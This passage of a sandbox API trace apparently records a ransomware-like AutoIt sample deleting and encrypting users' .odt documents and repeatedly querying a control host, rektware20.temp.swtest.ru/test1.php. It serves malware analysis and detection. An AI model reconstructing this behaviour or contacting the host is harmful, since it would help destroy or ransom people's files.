lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0074.007] CryptReleaseContext (hProv=0x17aa918, dwFlags=0x0) returned 1 [0074.007] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.007] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.007] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.008] FreeLibrary (hLibModule=0x74c60000) returned 1 [0074.008] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.008] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.008] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.008] CloseHandle (hObject=0x3ac) returned 1 [0074.010] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.010] CloseHandle (hObject=0x3d0) returned 1 [0074.011] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.012] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.012] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", lpFilePart=0x0) returned 0x3b [0074.012] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\syif.odt")) returned 0x20 [0074.012] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c870 [0074.013] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\syif.odt")) returned 1 [0074.020] FindNextFileW (in: hFindFile=0x164c870, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0074.021] FindClose (in: hFindFile=0x164c870 | out: hFindFile=0x164c870) returned 1 [0074.021] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.022] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.022] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.022] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.022] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0074.022] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0074.022] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.022] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0074.023] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.023] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0074.023] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0074.023] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c) returned 1 [0074.023] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.023] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.024] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.025] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0074.025] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0074.025] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0074.025] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629240, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629240*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0074.025] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0074.026] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.026] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.026] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.026] CloseHandle (hObject=0x0) returned 0 [0074.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EyTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yTaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TaIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aIf\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="If\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WKB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KB4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ijxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jxppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ppRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pRx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Rx3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mPue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ue1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0074.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.030] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.031] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0074.031] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.034] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0074.035] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0074.035] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.035] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0074.035] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0074.035] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e20, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e20, lpdwBufferLength=0x130ee1c) returned 1 [0074.035] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.035] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.035] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.036] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0074.036] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0074.036] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0074.036] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0074.036] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0074.036] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.037] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.037] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.037] CloseHandle (hObject=0x0) returned 0 [0074.037] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.037] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d130 [0074.038] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0074.038] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.038] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.038] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.038] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.038] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.038] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.038] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0074.039] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.039] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.039] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0074.039] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, 